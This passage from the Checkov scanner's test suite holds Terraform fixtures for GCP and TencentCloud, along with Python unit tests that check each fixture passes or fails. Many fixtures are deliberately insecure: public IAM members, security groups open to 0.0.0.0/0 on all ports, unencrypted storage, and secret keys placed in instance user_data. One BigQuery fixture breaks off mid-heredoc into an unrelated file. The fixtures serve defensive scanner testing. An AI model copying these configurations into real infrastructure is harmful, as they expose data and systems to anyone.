google_artifact_registry_repository.my-repo.name role = "roles/viewer" members = [ "user:jason@example.com", "allAuthenticatedUsers", ] } resource "google_artifact_registry_repository_iam_binding" "fail5" { provider = google-beta location = google_artifact_registry_repository.my-repo.location repository = google_artifact_registry_repository.my-repo.name role = "roles/viewer" members = [ "user:jason@example.com", "allAuthenticatedUsers", "domain:example.com", ] } resource "google_artifact_registry_repository_iam_member" "fail1" { provider = google-beta location = google_artifact_registry_repository.my-repo.location repository = google_artifact_registry_repository.my-repo.name role = "roles/viewer" member = "allAuthenticatedUsers" } resource "google_artifact_registry_repository_iam_member" "fail2" { provider = google-beta location = google_artifact_registry_repository.my-repo.location repository = google_artifact_registry_repository.my-repo.name role = "roles/viewer" member = "allUsers" } ================================================ FILE: tests/terraform/checks/resource/gcp/example_BigQueryDatasetEncryptedWithCMK/main.tf ================================================ resource "google_bigquery_dataset" "fail" { dataset_id = "example_dataset" friendly_name = "test" description = "This is a test description" location = "EU" default_table_expiration_ms = 3600000 labels = { env = "default" } access { role = "OWNER" special_group = "allAuthenticatedUsers" } access { role = "READER" domain = "hashicorp.com" } } resource "google_bigquery_dataset" "pass" { dataset_id = var.dataset.dataset_id friendly_name = var.dataset.friendly_name description = var.dataset.description location = var.location default_table_expiration_ms = var.dataset.default_table_expiration_ms default_encryption_configuration { kms_key_name = google_kms_crypto_key.example.name } } ================================================ FILE: tests/terraform/checks/resource/gcp/example_BigQueryPrivateTable/main.tf ================================================ ################ ## PASS TESTS ## ################ resource "google_bigquery_table_iam_binding" "pass1" { cluster = "my-private-table-binding1" role = "roles/bigquery.admin" members = [ "user:jane@example.com", "group:mygroup@example.com", ] } resource "google_bigquery_table_iam_binding" "pass2" { cluster = "my-private-table-binding2" role = "roles/bigquery.connectionAdmin" members = [ "user:jason@example.com", ] } resource "google_bigquery_table_iam_member" "pass1" { cluster = "my-private-table-member1" role = "roles/bigquery.connectionUser" member = "group:mygroup@example.com" } resource "google_bigquery_table_iam_member" "pass2" { cluster = "my-private-table-member2" role = "roles/bigquery.dataEditor" member = "domain:example.com" } ################ ## FAIL TESTS ## ################ resource "google_bigquery_table_iam_binding" "fail1" { cluster = "my-public-table-binding1" role = "roles/bigquery.dataOwner" members = [ "allAuthenticatedUsers", ] } resource "google_bigquery_table_iam_binding" "fail2" { cluster = "my-public-table-binding2" role = "roles/bigquery.dataViewer" members = [ "allUsers", ] } resource "google_bigquery_table_iam_binding" "fail3" { cluster = "my-public-table-binding3" role = "roles/bigquery.filteredDataViewer" members = [ "allUsers", "user:jason@example.com", ] } resource "google_bigquery_table_iam_binding" "fail4" { cluster = "my-public-table-binding4" role = "roles/bigquery.jobUser" members = [ "user:jason@example.com", "allAuthenticatedUsers", ] } resource "google_bigquery_table_iam_member" "fail1" { cluster = "my-public-table-member1" role = "roles/bigquery.metadataViewer" member = "allAuthenticatedUsers" } resource "google_bigquery_table_iam_member" "fail2" { cluster = "my-public-table-member2" role = "roles/bigquery.readSessionUser" member = "allUsers" } ================================================ FILE: tests/terraform/checks/resource/gcp/example_BigQueryTableDeletionProtection/main.tf ================================================ resource "google_bigquery_table" "fail" { dataset_id = google_bigquery_dataset.default.dataset_id table_id = "bar" time_partitioning { type = "DAY" } labels = { env = "default" } schema = < """ if 'tags' in conf.keys(): environment_tag = Token("IDENTIFIER", "Scope") if environment_tag in conf['tags'][0].keys(): if conf['tags'][0][environment_tag] == "PCI": if 'acl' in conf.keys(): acl_block = conf['acl'] if acl_block in [["public-read"], ["public-read-write"], ["website"]]: return CheckResult.FAILED return CheckResult.PASSED scanner = S3PCIPrivateACL() ================================================ FILE: tests/terraform/checks/resource/registry/example_external_dir/extra_checks/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/resource/registry/test_registry.py ================================================ import os import unittest from unittest.mock import patch class TestRegistry(unittest.TestCase): def setUp(self): from checkov.terraform.checks.resource.registry import resource_registry self.registry = resource_registry @patch('os.path.exists') def test_with_init(self, mock_path_exists): mock_path_exists.return_value = True self.assertTrue(self.registry._directory_has_init_py("/foo/bar")) @patch('os.path.exists') def test_without_init(self, mock_path_exists): mock_path_exists.return_value = False self.assertFalse(self.registry._directory_has_init_py("/foo/bar")) def test_registry_external_check_load(self): current_dir = os.path.dirname(os.path.realpath(__file__)) external_dir = current_dir + "/example_external_dir/extra_checks" self.registry.load_external_checks(external_dir) external_check_loaded = False external_check = None for check in self.registry.checks['aws_s3_bucket']: if check.__class__.__name__ == 'S3PCIPrivateACL': external_check_loaded = True external_check = check self.assertTrue(external_check_loaded) self.registry.checks['aws_s3_bucket'].remove(external_check) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/tencentcloud/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/resource/tencentcloud/example_CBSEncryption/tencentcloud_cbs_storage.tf ================================================ # pass resource "tencentcloud_cbs_storage" "enabled" { storage_type = "CLOUD_PREMIUM" storage_name = "tf-storage-basic" storage_size = 50 availability_zone = "ap-guangzhou-3" encrypt = true } # failed resource "tencentcloud_cbs_storage" "default" { storage_type = "CLOUD_PREMIUM" storage_name = "tf-storage-basic" storage_size = 50 availability_zone = "ap-guangzhou-3" } resource "tencentcloud_cbs_storage" "disabled" { storage_type = "CLOUD_PREMIUM" storage_name = "tf-storage-basic" storage_size = 50 availability_zone = "ap-guangzhou-3" encrypt = false } ================================================ FILE: tests/terraform/checks/resource/tencentcloud/example_CDBInternetService/tencentcloud_mysql_instance.tf ================================================ # pass resource "tencentcloud_mysql_instance" "positive" { internet_service = 0 engine_version = "5.7" charge_type = "POSTPAID" slave_deploy_mode = 0 availability_zone = data.tencentcloud_availability_zones_by_product.zones.zones.0.name slave_sync_mode = 1 instance_name = "tf-example-mysql" mem_size = 4000 volume_size = 200 vpc_id = tencentcloud_vpc.vpc.id subnet_id = tencentcloud_subnet.subnet.id intranet_port = 3307 security_groups = [tencentcloud_security_group.security_group.id] tags = { name = "test" } parameters = { character_set_server = "utf8" max_connections = "1000" } } # failed resource "tencentcloud_mysql_instance" "negative" { internet_service = 1 engine_version = "5.7" charge_type = "POSTPAID" slave_deploy_mode = 0 availability_zone = data.tencentcloud_availability_zones_by_product.zones.zones.0.name slave_sync_mode = 1 instance_name = "tf-example-mysql" mem_size = 4000 volume_size = 200 vpc_id = tencentcloud_vpc.vpc.id subnet_id = tencentcloud_subnet.subnet.id intranet_port = 3307 security_groups = [tencentcloud_security_group.security_group.id] tags = { name = "test" } parameters = { character_set_server = "utf8" max_connections = "1000" } } ================================================ FILE: tests/terraform/checks/resource/tencentcloud/example_CDBIntranetPort/tencentcloud_mysql_instance.tf ================================================ # pass resource "tencentcloud_mysql_instance" "positive" { engine_version = "5.7" charge_type = "POSTPAID" slave_deploy_mode = 0 availability_zone = data.tencentcloud_availability_zones_by_product.zones.zones.0.name slave_sync_mode = 1 instance_name = "tf-example-mysql" mem_size = 4000 volume_size = 200 vpc_id = tencentcloud_vpc.vpc.id subnet_id = tencentcloud_subnet.subnet.id intranet_port = 3307 security_groups = [tencentcloud_security_group.security_group.id] tags = { name = "test" } parameters = { character_set_server = "utf8" max_connections = "1000" } } # failed resource "tencentcloud_mysql_instance" "negative" { engine_version = "5.7" charge_type = "POSTPAID" slave_deploy_mode = 0 availability_zone = data.tencentcloud_availability_zones_by_product.zones.zones.0.name slave_sync_mode = 1 instance_name = "tf-example-mysql" mem_size = 4000 volume_size = 200 vpc_id = tencentcloud_vpc.vpc.id subnet_id = tencentcloud_subnet.subnet.id intranet_port = 3306 security_groups = [tencentcloud_security_group.security_group.id] tags = { name = "test" } parameters = { character_set_server = "utf8" max_connections = "1000" } } ================================================ FILE: tests/terraform/checks/resource/tencentcloud/example_CLBInstanceLog/tencentcloud_clb_instance.tf ================================================ # pass resource "tencentcloud_clb_instance" "positive" { network_type = "INTERNAL" clb_name = "clb_example" project_id = 0 vpc_id = tencentcloud_vpc.vpc_test.id subnet_id = tencentcloud_subnet.subnet_test.id load_balancer_pass_to_target = true log_set_id = tencentcloud_clb_log_set.set.id log_topic_id = tencentcloud_clb_log_topic.topic.id tags = { test = "tf" } } # failed resource "tencentcloud_clb_instance" "negative" { network_type = "INTERNAL" clb_name = "clb_example" project_id = 0 vpc_id = tencentcloud_vpc.vpc_test.id subnet_id = tencentcloud_subnet.subnet_test.id load_balancer_pass_to_target = true tags = { test = "tf" } } ================================================ FILE: tests/terraform/checks/resource/tencentcloud/example_CLBListenerProtocol/tencentcloud_clb_listener.tf ================================================ # pass resource "tencentcloud_clb_listener" "positive" { clb_id = "lb-0lh5au7v" listener_name = "test_listener" protocol = "HTTPS" port = 443 } # failed resource "tencentcloud_clb_listener" "negative1" { clb_id = "lb-0lh5au7v" listener_name = "test_listener" protocol = "HTTP" port = 80 } resource "tencentcloud_clb_listener" "negative2" { clb_id = "lb-0lh5au7v" listener_name = "test_listener" protocol = "TCP" port = 8080 } resource "tencentcloud_clb_listener" "negative3" { clb_id = "lb-0lh5au7v" listener_name = "test_listener" protocol = "UDP" port = 8090 } ================================================ FILE: tests/terraform/checks/resource/tencentcloud/example_CVMAllocatePublicIp/tencentcloud_instance.tf ================================================ # pass resource "tencentcloud_instance" "default" { instance_name = "tf-cvm-basic" availability_zone = "ap-guangzhou-3" } resource "tencentcloud_instance" "disabled" { instance_name = "tf-cvm-basic" availability_zone = "ap-guangzhou-3" allocate_public_ip = false } # failed resource "tencentcloud_instance" "enabled" { instance_name = "tf-cvm-basic" availability_zone = "ap-guangzhou-3" allocate_public_ip = true } ================================================ FILE: tests/terraform/checks/resource/tencentcloud/example_CVMDisableMonitorService/tencentcloud_instance.tf ================================================ # pass resource "tencentcloud_instance" "default" { instance_name = "tf-cvm-basic" availability_zone = "ap-guangzhou-3" } resource "tencentcloud_instance" "disabled" { instance_name = "tf-cvm-basic" availability_zone = "ap-guangzhou-3" disable_monitor_service = false } # failed resource "tencentcloud_instance" "enabled" { instance_name = "tf-cvm-basic" availability_zone = "ap-guangzhou-3" disable_monitor_service = true } ================================================ FILE: tests/terraform/checks/resource/tencentcloud/example_CVMUseDefaultSecurityGroup/tencentcloud_instance.tf ================================================ # pass resource "tencentcloud_instance" "default" { instance_name = "tf-cvm-basic" availability_zone = "ap-guangzhou-3" } resource "tencentcloud_instance" "orderly_security_groups_sg" { instance_name = "tf-cvm-basic" availability_zone = "ap-guangzhou-3" orderly_security_groups = ["tencentcloud_security_group.sg.id"] } resource "tencentcloud_instance" "security_groups_sg" { instance_name = "tf-cvm-basic" availability_zone = "ap-guangzhou-3" security_groups = ["tencentcloud_security_group.sg.id"] } # failed resource "tencentcloud_instance" "orderly_security_groups_default" { instance_name = "tf-cvm-basic" availability_zone = "ap-guangzhou-3" orderly_security_groups = ["tencentcloud_security_group.default.id"] } resource "tencentcloud_instance" "security_groups_default" { instance_name = "tf-cvm-basic" availability_zone = "ap-guangzhou-3" security_groups = ["tencentcloud_security_group.default.id"] } ================================================ FILE: tests/terraform/checks/resource/tencentcloud/example_CVMUseDefaultVPC/tencentcloud_instance.tf ================================================ # pass resource "tencentcloud_instance" "default" { instance_name = "tf-cvm-basic" availability_zone = "ap-guangzhou-3" } resource "tencentcloud_instance" "positive" { instance_name = "tf-cvm-basic" availability_zone = "ap-guangzhou-3" vpc_id = tencentcloud_vpc.vpc.id subnet_id = tencentcloud_subnet.subnet.id } # failed resource "tencentcloud_instance" "negative1" { instance_name = "tf-cvm-basic" availability_zone = "ap-guangzhou-3" vpc_id = tencentcloud_vpc.default.id subnet_id = tencentcloud_subnet.subnet.id } resource "tencentcloud_instance" "negative2" { instance_name = "tf-cvm-basic" availability_zone = "ap-guangzhou-3" vpc_id = tencentcloud_vpc.vpc.id subnet_id = tencentcloud_subnet.default.id } resource "tencentcloud_instance" "negative3" { instance_name = "tf-cvm-basic" availability_zone = "ap-guangzhou-3" vpc_id = tencentcloud_vpc.default.id subnet_id = tencentcloud_subnet.default.id } ================================================ FILE: tests/terraform/checks/resource/tencentcloud/example_CVMUserData/tencentcloud_instance.tf ================================================ # pass resource "tencentcloud_instance" "positive1" { instance_name = "cvm_postpaid" availability_zone = data.tencentcloud_availability_zones.my_favorite_zones.zones.0.name image_id = data.tencentcloud_images.my_favorite_image.images.0.image_id instance_type = data.tencentcloud_instance_types.my_favorite_instance_types.instance_types.0.instance_type system_disk_type = "CLOUD_PREMIUM" system_disk_size = 50 } resource "tencentcloud_instance" "positive2" { instance_name = "cvm_postpaid" availability_zone = data.tencentcloud_availability_zones.my_favorite_zones.zones.0.name image_id = data.tencentcloud_images.my_favorite_image.images.0.image_id instance_type = data.tencentcloud_instance_types.my_favorite_instance_types.instance_types.0.instance_type system_disk_type = "CLOUD_PREMIUM" system_disk_size = 50 user_data = base64encode("this is test value") } resource "tencentcloud_instance" "positive3" { instance_name = "cvm_postpaid" availability_zone = data.tencentcloud_availability_zones.my_favorite_zones.zones.0.name image_id = data.tencentcloud_images.my_favorite_image.images.0.image_id instance_type = data.tencentcloud_instance_types.my_favorite_instance_types.instance_types.0.instance_type system_disk_type = "CLOUD_PREMIUM" system_disk_size = 50 user_data_raw = "this is test value" } # failed resource "tencentcloud_instance" "negative1" { instance_name = "cvm_postpaid" availability_zone = data.tencentcloud_availability_zones.my_favorite_zones.zones.0.name image_id = data.tencentcloud_images.my_favorite_image.images.0.image_id instance_type = data.tencentcloud_instance_types.my_favorite_instance_types.instance_types.0.instance_type system_disk_type = "CLOUD_PREMIUM" system_disk_size = 50 user_data = base64encode("apt-get install -y tccli; export TENCENTCLOUD_SECRET_ID=your_access_key_id_here; export TENCENTCLOUD_SECRET_KEY=your_secret_access_key_here") } resource "tencentcloud_instance" "negative2" { instance_name = "cvm_postpaid" availability_zone = data.tencentcloud_availability_zones.my_favorite_zones.zones.0.name image_id = data.tencentcloud_images.my_favorite_image.images.0.image_id instance_type = data.tencentcloud_instance_types.my_favorite_instance_types.instance_types.0.instance_type system_disk_type = "CLOUD_PREMIUM" system_disk_size = 50 user_data_raw = "apt-get install -y tccli; export TENCENTCLOUD_SECRET_ID=your_access_key_id_here; export TENCENTCLOUD_SECRET_KEY=your_secret_access_key_here" } ================================================ FILE: tests/terraform/checks/resource/tencentcloud/example_TKELogAgentEnable/tencentcloud_kubernetes_cluster.tf ================================================ # pass resource "tencentcloud_kubernetes_cluster" "positive" { vpc_id = tencentcloud_vpc.vpc.id cluster_max_pod_num = 32 cluster_name = "test" cluster_desc = "test cluster desc" cluster_max_service_num = 256 cluster_internet = true cluster_deploy_type = "MANAGED_CLUSTER" network_type = "VPC-CNI" eni_subnet_ids = ["subnet-bk1etlyu"] service_cidr = "10.1.0.0/24" worker_config { count = 1 availability_zone = "ap-guangzhou-7" instance_type = "S2.LARGE16" system_disk_type = "CLOUD_PREMIUM" system_disk_size = 60 internet_charge_type = "TRAFFIC_POSTPAID_BY_HOUR" internet_max_bandwidth_out = 100 public_ip_assigned = true subnet_id = "subnet-t5dv27rs" data_disk { disk_type = "CLOUD_PREMIUM" disk_size = 50 } enhanced_security_service = false enhanced_monitor_service = false } log_agent { enabled = true } labels = { "test1" = "test1", "test2" = "test2", } } # failed resource "tencentcloud_kubernetes_cluster" "negative" { vpc_id = tencentcloud_vpc.vpc.id cluster_max_pod_num = 32 cluster_name = "test" cluster_desc = "test cluster desc" cluster_max_service_num = 256 cluster_internet = true cluster_deploy_type = "MANAGED_CLUSTER" network_type = "VPC-CNI" eni_subnet_ids = ["subnet-bk1etlyu"] service_cidr = "10.1.0.0/24" worker_config { count = 1 availability_zone = "ap-guangzhou-7" instance_type = "S2.LARGE16" system_disk_type = "CLOUD_PREMIUM" system_disk_size = 60 internet_charge_type = "TRAFFIC_POSTPAID_BY_HOUR" internet_max_bandwidth_out = 100 public_ip_assigned = true subnet_id = "subnet-t5dv27rs" data_disk { disk_type = "CLOUD_PREMIUM" disk_size = 50 } enhanced_security_service = false enhanced_monitor_service = false } log_agent { enabled = false } labels = { "test1" = "test1", "test2" = "test2", } } ================================================ FILE: tests/terraform/checks/resource/tencentcloud/example_TKEPublicIpAssigned/tencentcloud_kubernetes_cluster.tf ================================================ # pass resource "tencentcloud_kubernetes_cluster" "positive1" { vpc_id = local.first_vpc_id cluster_cidr = "10.31.0.0/16" cluster_max_pod_num = 32 cluster_name = "tf_example_cluster" cluster_desc = "example for tke cluster" cluster_max_service_num = 32 cluster_internet = true cluster_internet_security_group = local.sg_id cluster_version = "1.22.5" cluster_deploy_type = "MANAGED_CLUSTER" master_config { count = 1 availability_zone = "ap-guangzhou-3" instance_type = "SA2.2XLARGE16" system_disk_type = "CLOUD_SSD" system_disk_size = 60 internet_charge_type = "TRAFFIC_POSTPAID_BY_HOUR" subnet_id = local.first_subnet_id img_id = local.image_id data_disk { disk_type = "CLOUD_PREMIUM" disk_size = 50 } enhanced_security_service = false enhanced_monitor_service = false user_data = "dGVzdA==" } worker_config { count = 1 availability_zone = "ap-guangzhou-4" instance_type = "SA2.2XLARGE16" system_disk_type = "CLOUD_SSD" system_disk_size = 60 internet_charge_type = "TRAFFIC_POSTPAID_BY_HOUR" subnet_id = local.second_subnet_id data_disk { disk_type = "CLOUD_PREMIUM" disk_size = 50 } enhanced_security_service = false enhanced_monitor_service = false cam_role_name = "CVM_QcsRole" } } resource "tencentcloud_kubernetes_cluster" "positive2" { vpc_id = local.first_vpc_id cluster_cidr = "10.31.0.0/16" cluster_max_pod_num = 32 cluster_name = "tf_example_cluster" cluster_desc = "example for tke cluster" cluster_max_service_num = 32 cluster_internet = true cluster_internet_security_group = local.sg_id cluster_version = "1.22.5" cluster_deploy_type = "MANAGED_CLUSTER" master_config { count = 1 availability_zone = "ap-guangzhou-3" instance_type = "SA2.2XLARGE16" system_disk_type = "CLOUD_SSD" system_disk_size = 60 internet_charge_type = "TRAFFIC_POSTPAID_BY_HOUR" internet_max_bandwidth_out = 100 subnet_id = local.first_subnet_id img_id = local.image_id public_ip_assigned = false data_disk { disk_type = "CLOUD_PREMIUM" disk_size = 50 } enhanced_security_service = false enhanced_monitor_service = false user_data = "dGVzdA==" } worker_config { count = 1 availability_zone = "ap-guangzhou-4" instance_type = "SA2.2XLARGE16" system_disk_type = "CLOUD_SSD" system_disk_size = 60 internet_charge_type = "TRAFFIC_POSTPAID_BY_HOUR" internet_max_bandwidth_out = 100 subnet_id = local.second_subnet_id public_ip_assigned = false data_disk { disk_type = "CLOUD_PREMIUM" disk_size = 50 } enhanced_security_service = false enhanced_monitor_service = false cam_role_name = "CVM_QcsRole" } } # failed resource "tencentcloud_kubernetes_cluster" "negative" { vpc_id = local.first_vpc_id cluster_cidr = "10.31.0.0/16" cluster_max_pod_num = 32 cluster_name = "tf_example_cluster" cluster_desc = "example for tke cluster" cluster_max_service_num = 32 cluster_internet = true cluster_internet_security_group = local.sg_id cluster_version = "1.22.5" cluster_deploy_type = "MANAGED_CLUSTER" master_config { count = 1 availability_zone = "ap-guangzhou-3" instance_type = "SA2.2XLARGE16" system_disk_type = "CLOUD_SSD" system_disk_size = 60 internet_charge_type = "TRAFFIC_POSTPAID_BY_HOUR" internet_max_bandwidth_out = 100 subnet_id = local.first_subnet_id img_id = local.image_id public_ip_assigned = true data_disk { disk_type = "CLOUD_PREMIUM" disk_size = 50 } enhanced_security_service = false enhanced_monitor_service = false user_data = "dGVzdA==" } worker_config { count = 1 availability_zone = "ap-guangzhou-4" instance_type = "SA2.2XLARGE16" system_disk_type = "CLOUD_SSD" system_disk_size = 60 internet_charge_type = "TRAFFIC_POSTPAID_BY_HOUR" internet_max_bandwidth_out = 100 subnet_id = local.second_subnet_id public_ip_assigned = true data_disk { disk_type = "CLOUD_PREMIUM" disk_size = 50 } enhanced_security_service = false enhanced_monitor_service = false cam_role_name = "CVM_QcsRole" } } ================================================ FILE: tests/terraform/checks/resource/tencentcloud/example_VPCFlowLogConfigEnable/tencentcloud_vpc_flow_log_config.tf ================================================ # pass resource "tencentcloud_vpc_flow_log_config" "positive" { flow_log_id = tencentcloud_vpc_flow_log.example.id enable = true } # failed resource "tencentcloud_vpc_flow_log_config" "negative" { flow_log_id = tencentcloud_vpc_flow_log.example.id enable = false } ================================================ FILE: tests/terraform/checks/resource/tencentcloud/example_VPCSecurityGroupRuleSet/tencentcloud_security_group_rule_set.tf ================================================ # pass resource "tencentcloud_security_group_rule_set" "positive" { security_group_id = tencentcloud_security_group.base.id ingress { action = "ACCEPT" cidr_block = "10.0.0.0/22" protocol = "TCP" port = "80-90" description = "A:Allow Ips and 80-90" } } # failed resource "tencentcloud_security_group_rule_set" "negative1" { security_group_id = tencentcloud_security_group.base.id ingress { action = "ACCEPT" cidr_block = "0.0.0.0/0" protocol = "ALL" port = "ALL" } } resource "tencentcloud_security_group_rule_set" "negative2" { security_group_id = tencentcloud_security_group.base.id ingress { action = "ACCEPT" ipv6_cidr_block = "::/0" protocol = "ALL" port = "ALL" } } resource "tencentcloud_security_group_rule_set" "negative3" { security_group_id = tencentcloud_security_group.base.id ingress { action = "ACCEPT" ipv6_cidr_block = "0::0/0" protocol = "ALL" port = "ALL" } } ================================================ FILE: tests/terraform/checks/resource/tencentcloud/test_CBSEncryption.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.tencentcloud.CBSEncryption import check from checkov.terraform.runner import Runner class TestCBSEncryption(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_CBSEncryption" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "tencentcloud_cbs_storage.enabled", } failing_resources = { "tencentcloud_cbs_storage.default", "tencentcloud_cbs_storage.disabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/tencentcloud/test_CDBInternetService.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.tencentcloud.CDBInternetService import \ check from checkov.terraform.runner import Runner class TestCDBInternetService(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_CDBInternetService" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "tencentcloud_mysql_instance.positive", } failing_resources = { "tencentcloud_mysql_instance.negative", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/tencentcloud/test_CDBIntranetPort.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.tencentcloud.CDBIntranetPort import \ check from checkov.terraform.runner import Runner class TestCDBIntranetPort(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_CDBIntranetPort" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "tencentcloud_mysql_instance.positive", } failing_resources = { "tencentcloud_mysql_instance.negative", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/tencentcloud/test_CLBInstanceLog.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.tencentcloud.CLBInstanceLog import check from checkov.terraform.runner import Runner class TestCLBInstanceLog(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_CLBInstanceLog" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "tencentcloud_clb_instance.positive", } failing_resources = { "tencentcloud_clb_instance.negative", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/tencentcloud/test_CLBListenerProtocol.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.tencentcloud.CLBListenerProtocol import \ check from checkov.terraform.runner import Runner class TestCLBListenerProtocol(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_CLBListenerProtocol" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "tencentcloud_clb_listener.positive", } failing_resources = { "tencentcloud_clb_listener.negative1", "tencentcloud_clb_listener.negative2", "tencentcloud_clb_listener.negative3", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 3) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/tencentcloud/test_CVMAllocatePublicIp.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.tencentcloud.CVMAllocatePublicIp import \ check from checkov.terraform.runner import Runner class TestCVMAllocatePublicIp(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_CVMAllocatePublicIp" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "tencentcloud_instance.default", "tencentcloud_instance.disabled", } failing_resources = { "tencentcloud_instance.enabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/tencentcloud/test_CVMDisableMonitorService.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.tencentcloud.CVMDisableMonitorService import \ check from checkov.terraform.runner import Runner class TestCVMDisableMonitorService(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_CVMDisableMonitorService" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "tencentcloud_instance.default", "tencentcloud_instance.disabled", } failing_resources = { "tencentcloud_instance.enabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/tencentcloud/test_CVMUseDefaultSecurityGroup.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.tencentcloud.CVMUseDefaultSecurityGroup import \ check from checkov.terraform.runner import Runner class TestCVMUseDefaultSecurityGroup(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_CVMUseDefaultSecurityGroup" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "tencentcloud_instance.default", "tencentcloud_instance.orderly_security_groups_sg", "tencentcloud_instance.security_groups_sg", } failing_resources = { "tencentcloud_instance.orderly_security_groups_default", "tencentcloud_instance.security_groups_default", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 3) self.assertEqual(summary["failed"], 2) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/tencentcloud/test_CVMUseDefaultVPC.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.tencentcloud.CVMUseDefaultVPC import \ check from checkov.terraform.runner import Runner class TestCVMUseDefaultVPC(unittest.TestCase): def test(self): test_files_dir = Path(__file__).parent / "example_CVMUseDefaultVPC" report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "tencentcloud_instance.default", "tencentcloud_instance.positive", } failing_resources = { "tencentcloud_instance.negative1", "tencentcloud_instance.negative2", "tencentcloud_instance.negative3", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) 